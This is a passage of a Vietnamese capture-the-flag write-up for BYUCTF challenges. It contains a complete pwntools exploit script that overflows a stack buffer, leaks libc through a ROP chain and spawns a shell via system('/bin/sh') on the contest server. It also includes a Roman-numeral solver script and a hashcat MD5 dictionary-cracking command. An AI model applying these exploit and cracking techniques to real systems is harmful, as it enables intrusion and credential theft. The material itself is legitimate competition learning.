``` - số 2 trong này sử dụng để biểu diễn số vòng lặp, nên khi ghi đè nó thì phải trả lại cho nó giá trị đúng, ở câu lệnh này ``0x401275 <main+139> cmp DWORD PTR [rbp-0x4], eax`` - khai thác - offset ```python sla(b"store? \n", b"9") for i in range(4): sa(b"name: \n", b"a" * 10) payload = p64(0x0461616161) + b"aa" sa(b"name: \n", payload) ``` - ``0x0461616161`` như nó ở trên nếu ghi đè giá trị vòng lặp nó sẽ lặp không đúng, nên ta sẽ phải có byte `0x4` để trả lại giá trị cho nó - Trước lúc ghi đè ```gef 0x007ffe213b4b50│+0x0030: 0x6161616161616161 0x007ffe213b4b58│+0x0038: 0x00000003d0090ad0 0x007ffe213b4b60│+0x0040: 0x0000000000000001 ← $rbp ``` - Sau khi ghi đè ```gef 0x007ffd08da7f90│+0x0030: 0x6161616161616161 0x007ffd08da7f98│+0x0038: 0x0000000561616161 0x007ffd08da7fa0│+0x0040: 0x00000000006161 ("aa"?) ← $rbp ``` - overwrite rip ```python sa(b"name: \n", b"\0" * 6 + p32(0x4011e5)) ``` - ``0x4011e5`` là giá trị của pop rdi, ban đầu tính nhảy vào hàm pop rdi nhưng lằng nhằng quá nên ra lấy gadget, ta ghi đè được như này ```gef 0x007ffd08da7fa0│+0x0040: 0x00000000006161 ("aa"?) ← $rbp 0x007ffd08da7fa8│+0x0048: 0x00007fb3004011e5 ``` ```python sa(b"name: \n", b"\0" * 4 + p32(0x404000) + b"\0\0") ``` - 4 byte null này để ghi đè cả địa chỉ này thành ``0x007ffd08da7fa8| : 0x000000004011e5`` - Vậy chúng ta đã hiểu cách hoạt động rồi nên chỉ wu đến đây thoi =)), các lần sau cũng tương tự như vậy thôi, có thể dùng one_gadget hoặc system chắc là đều được ##### Chú ý - Chỗ này tại sao phải tách ra 2 part thì do 4 byte null nó ở trên, nên mới phải tách binsh ra 4byte và 2byte và gửi vào chứ không được `b"\0" * 4 + p64(binsh)` vì nó đã 12byte rồi ```python binsh = next(libc.search(b'/bin/sh')) part1 = (binsh & 0xffff) part2 = binsh >> 16 sa(b"name: \n", b"\0" * 4 + p16(part1) + p32(part2)) ``` - script: ```python #!/usr/bin/python3 from pwn import * exe = ELF('frorg_patched', checksec=False) libc = ELF('libc.so.6', checksec=False) context.binary = exe def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' # b*main+159 b*main+132 c ''') input() def info(msg): return log.info(msg) def sla(msg, data): return p.sendlineafter(msg, data) def sa(msg, data): return p.sendafter(msg, data) def sl(data): return p.sendline(data) def s(data): return p.send(data) if args.REMOTE: p = remote('byuctf.xyz', 40015) else: p = process(exe.path) GDB() sla(b"store? \n", b"9") for i in range(4): sa(b"name: \n", b"a" * 10) payload = p64(0x0461616161) + b"aa" sa(b"name: \n", payload) sa(b"name: \n", b"\0" * 6 + p32(0x4011e5)) sa(b"name: \n", b"\0" * 4 + p32(0x404000) + b"\0\0") sa(b"name: \n", b"\0" * 2 + p64(exe.plt['puts'])) sa(b"name: \n", p64(0x4011ea)) p.recvuntil(b"Thank you!\n") libc_leak = u64(p.recvline(keepends=False) + b"\0\0") info("leak libc: " + hex(libc_leak)) libc.address = libc_leak - 510432 info("base libc: " + hex(libc.address)) sla(b"store? \n", b"9") for i in range(4): sa(b"name: \n", b"a" * 10) payload = p64(0x0461616161) + b"\0\0" sa(b"name: \n", payload) sa(b"name: \n", b"\0" * 6 + p32(0x4011e5)) binsh = next(libc.search(b'/bin/sh')) part1 = (binsh & 0xffff) part2 = binsh >> 16 sa(b"name: \n", b"\0" * 4 + p16(part1) + p32(part2)) sa(b"name: \n", b"\0\0" + p64(0x000000000040101a)) sa(b"name: \n", p64(libc.sym['system'])) p.interactive() ``` ![image](https://github.com/wan-hyhty/CTFs_competition/assets/111769169/b356af70-d60b-4109-9498-e9ec25782c60) --- ## MISC ### xkcd 2637 - Ta thấy server gửi cho ta 500 phép tính, nhìn thì tưởng là cộng bình thường, nhưng khum, nó là như thế này: - 101 + 1010101, tưởng là 1010202 nhưng mà khum phải, 101 --> XI (10 là X, 1 là I), và 1010101--> XXXI, và ta đổi 2 số này ra số thập phân là 11 và 31, cộng vào ra 42, và ta lại phải chuyển về số la mã là XLII, rùi ta lại phải chuyển thành `105011`, đó mới chính là đáp án đúng - script: ```python from pwn import * io = remote('byuctf.xyz',40014) def roman_to_int(s): roman_numeral_map = { 'I': 1, 'IV': 4, 'V': 5, 'IX': 9, 'X': 10, 'XL': 40, 'L': 50, 'XC': 90, 'C': 100, 'CD': 400, 'D': 500, 'CM': 900, 'M': 1000 } i, num = 0, 0 while i < len(s): if i + 1 < len(s) and s[i:i+2] in roman_numeral_map: num += roman_numeral_map[s[i:i+2]] i += 2 else: num += roman_numeral_map[s[i]] i += 1 return num # Chuyển đổi số thập phân thành số La Mã def int_to_roman(num): roman_numeral_map = { 1: 'I', 4: 'IV', 5: 'V', 9: 'IX', 10: 'X', 40: 'XL', 50: 'L', 90: 'XC', 100: 'C', 400: 'CD', 500: 'D', 900: 'CM', 1000: 'M' } result = '' for value, numeral in sorted(roman_numeral_map.items(), reverse=True): while num >= value: result += numeral num -= value return result def convert_numbers(string): conversion_rules = { "10": "X", "1": "I", "110": "IX", "1": "I", "5": "V", "50": "L", "100":"C", "500":"D", "1000":"M" } result = "" i = 0 while i < len(string): found = False for rule in conversion_rules: if string[i:].startswith(rule): result += conversion_rules[rule] i += len(rule) found = True break if not found: result += string[i] i += 1 return result def reverse_convert_numbers(string): conversion_rules = { "X": "10", "I": "1", "I": "1", "IX": "110", "V": "5", "L": "50", "C": "100", "D": "500", "M": "1000" } result = "" i = 0 while i < len(string): found = False for rule in conversion_rules: if string[i:].startswith(rule): result += conversion_rules[rule] i += len(rule) found = True break if not found: result += string[i] i += 1 return result io.recvuntil(b'flag!\n') for i in range(500): x = (io.recvuntil(b'= ',drop=True).decode()) lst = [] lst = x.split(' ') send = '' if lst[1] =='+': a = convert_numbers(lst[0]) b = convert_numbers(lst[2]) num_a = roman_to_int(a) num_b = roman_to_int(b) x = num_a + num_b lama = int_to_roman(x) data = reverse_convert_numbers(lama) a = (data.encode("ascii")) io.sendline((a)) if lst[1] == '*': a = convert_numbers(lst[0]) b = convert_numbers(lst[2]) num_a = roman_to_int(a) num_b = roman_to_int(b) x = num_a * num_b lama = int_to_roman(x) data = reverse_convert_numbers(lama) a = (data.encode("ascii")) io.sendline((a)) io.interactive() ``` > Flag: không nhớ flag vì server đóng rùi :((( --- ### Sanity Check - Check discord là được à :-1: ![](https://hackmd.io/_uploads/HykGhqwr2.png) > Flag: byuctf{yes_this_is_sanity_check_flag_race_for_who_gets_1st_blood} --- ### 006 I - Ta sử dụng hashcat để tìm lại bản rõ của hash này - Ta sử dụng command như sau: ```bash hashcat -m 0 -a 0 -o cracked.txt 006_1.txt /usr/share/wordlists/rockyou.txt ``` - tức là tấn công theo mã MD5 dựa vào danh sách các mật khẩu ở file `rockyou.txt` ![](https://hackmd.io/_uploads/HkwOj9vSh.png) - Tiếp theo, để xuất hiện file `cracked.txt`, ta thêm `--show` ở sau command trên ![](https://hackmd.io/_uploads/r17ns9wrh.png) - Vào file `cracked.txt` là thấy được flag thui :v: ![](https://hackmd.io/_uploads/SJlAsqPB2.png) > Flag:byuctf{brittishhottie} ---